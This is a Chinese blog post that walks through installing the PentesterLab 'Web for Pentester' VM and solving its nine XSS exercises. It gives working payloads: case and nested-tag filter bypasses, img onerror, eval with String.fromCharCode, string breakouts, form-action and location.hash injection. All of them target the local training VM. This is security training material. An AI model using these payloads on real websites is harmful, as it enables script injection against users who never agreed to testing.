web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

下载链接及文档说明:

http://pentesterlab.com/exercises/web_for_pentester/

【安装流程】

1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。

一路向下,创建虚拟系统。

点击启动,选择iso镜像,即可启动。

2. 设置网络。 关掉刚刚开启的系统。

点击设置,选择网络选项。如图所示设置网络

3.启动系统。输入ifconfig

可以看到我们虚拟机的IP地址为http://192.168.56.101/  不同的系统可能不一样

如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。

所以在主机上打开网络和共享中心,设置IP

根据我的虚拟机IP,我给本机设置的IP如下:

4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/  ,即可通过HTTP访问虚拟机了!!

【XSS部分解析】

xss example1:

完全没有过滤或者编码,各种姿势的玩~

name=<script>alert('bb')</script>

xss example2:

从这里可以看到,过滤掉了<script>标签,我们试试大小写?

name=<Script>alert('bb')</sCript>

嗯,大小写绕过了

xss example3:

和上一张图一样,<script>标签被过滤掉了

先试试 name=la<script>la,输出hello,lala

name=<scri<script>pt>alert('bb')</scri</script>pt>

经测试这个在实例2也是可以用的

xss example4:

先输入最基本的测试name=<script>alert('bb')</script>

竟然输出error了!

换个标签? name=<img>?这次没error。补全补全~

name=<img src="1" onerror="alert('bb')">

成功了~~经测试这个payload在前三个应该也是可以的

xss example5:

先输入name=<img>正常显示

补全name=<img src="1" onerror="alert('bb')"> 输出error

发现alert被过滤掉了- -但是其他的函数还可以用,

比如说name=<img src="1" onerror="confirm('aa')">

查了一下文档,发现可以这样写

name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

这个世界真神奇

xss example6:

查看元素,发现输出竟然在script标签中。

$a="<img  src="1" onerror="alert('bb')">"

输出在script标签中的情况要首先闭合双引号"

name=fdf";alert($a);//

xss example7:

审查元素:

<script>
var $a= 'fdf&quot;;alert($a);//';
</script>

发现双引号被HTMLEncode了

- -还发现$a=''这个地方变成了单引号。。。稍微改一下

name=fdf';alert($a);//

成了

xss example8:

呦,终于长进了,变成存储型的了~

随便输出个名字<script>alert('a')</script>

审查元素

HELLO &lt;script&gt;alert('a')&lt;/script&gt;

<>被HTMLEncode了。

对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?

经过答案的提醒- -我们发现form表的目标URL是可以被构造的

http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert('1')

在提交的时候,会触发弹窗

xss example9:

- -最后一个你是在逗我么

审查元素

<script>
document.write(location.hash.substring(1));
</script>

随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert('1')</script>

注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析的更多相关文章

  1. 【web安全】第二弹:XSS攻防中的复合编码问题

    最近一直在研究XSS的攻防,特别是dom xss,问题慢慢的迁移到浏览器编码解码顺序上去. 今儿被人放鸽子,无奈在KFC看了两个小时的资料,突然有种豁然开朗的感觉. 参考资料先贴出来: 1. http ...

  2. Java Web高性能开发(三)

    今日要闻: Clarifai:可识别视频中物体 最近几年,得益于深度学习技术的发展,谷歌和Facebook等企业的研究人员在图形识别软件领域取得了重大突破.现在,一家名为Clarifai的创业公司则提 ...

  3. 应用AXIS开始Web服务之旅(soap web services)——使用三种不同的语言访问创建的Web服务,分别是JAVA、VB、VC

    一. 介绍 本文并不是想介绍Web服务的原理.系统架构等,我们假设您已经了解了关于Web服务的一些基本的概念.原理等知识.本文主要是针对那些已经了解Web服务概念,但是还没有亲身体会Web服务所带来令 ...

  4. 转-Web Service中三种发送接受协议SOAP、http get、http post

    原文链接:web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 一.web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 在web服务中,有三种可供选择的发 ...

  5. Web Service进阶(三)HTTP-GET, HTTP-POST and SOAP的比较

    XML Web Service支持三种协议来与用户交流数据.这三种协议分别是: 1.SOAP:Simple Object Access Protocol 2.HTTP-GET 3.HTTP-POST ...

  6. 使用Micrisoft.net设计方案 第三章Web表示模式

    第三章Web表示模式 体系结构设计者在设计第一个作品时比较精简和干练.在第一次设计时,并清除自己做什么,因此比较小心谨慎.第二个作品是最危险的一个作品,此时他会对第一个作品做修饰和润色,以及把第一次设 ...

  7. ASP.NET MVC Web API 学习笔记---第一个Web API程序---近来很多大型的平台都公开了Web API

    1. Web API简单说明 近来很多大型的平台都公开了Web API.比如百度地图 Web API,做过地图相关的人都熟悉.公开服务这种方式可以使它易于与各种各样的设备和客户端平台集成功能,以及通过 ...

  8. [转]ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)

    本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...

  9. ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)

    在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...

随机推荐

  1. HDU 4465 - Candy(概率与数学优化)

    2012成都Regional的B题,花了一个小时推出了式子,但是搞了好久发现都控制不了精度,后来突然想到组合数可以用log优化,改了之后就AC了 比较水的概率题 #include <stdio. ...

  2. 机器学习算法-K-means聚类

    引文: k均值算法是一种聚类算法.所谓聚类.他是一种无监督学习,将类似的对象归到同一个蔟中.蔟内的对象越类似,聚类的效果越好. 聚类和分类最大的不同在于.分类的目标事先已知.而聚类则不一样. 由于其产 ...

  3. LoC

    对于图片.Flash等非文本文件统计文件数量.文件大小: 对于文本文件统计文件数量.文本行数.字符数:

  4. 解决 子进程已安装的 post-removal脚本返回了错误号 100 的方法

    打开终端: $gksudo nautilus 进入目录: /var/lib/dpkg 删除: info info.bak (文件夹) 重建文件夹: info 之后重新安装 或删除就可以了.

  5. sudo 免密码

    转自:sudo 免密码 很多都是修改/etc/sudoers权限为740再加上一句 ALL=NOPASSWD:ALL 或者加一句 yourname ALL=(ALL) NOPASSWD: ALL 然后 ...

  6. java Spring 基于注解的配置(一)

    注解引用:1.service.xml 配置注解模式 <?xml version="1.0" encoding="UTF-8"?> <beans ...

  7. 快速排序算法(C#实现)

    想到了快速排序,于是自己就用C#实现了快速排序的算法: 快速排序的基本思想:分治法,即,分解,求解,组合 . 分解:在 无序区R[low..high]中任选一个记录作为基准(通常选第一个记录,并记为k ...

  8. 学习笔记_过滤器应用_1(分ip统计网站的访问次数)

    分ip统计网站的访问次数 ip count 192.168.1.111 2 192.168.1.112 59 统计工作需要在所有资源之前都执行,那么就可以放到Filter中了. 我们这个过滤器不打算做 ...

  9. httphandler与httpmodule区别

    1.配置不同: <httpModules> <!--name表示类名,BtEd2k.UILogic表示命名空间--> <add name="Common&quo ...

  10. java新手笔记4 数组

    1.数组 import java.util.Random; public class ArrayDemo1 { public static void main(String[] args) { int ...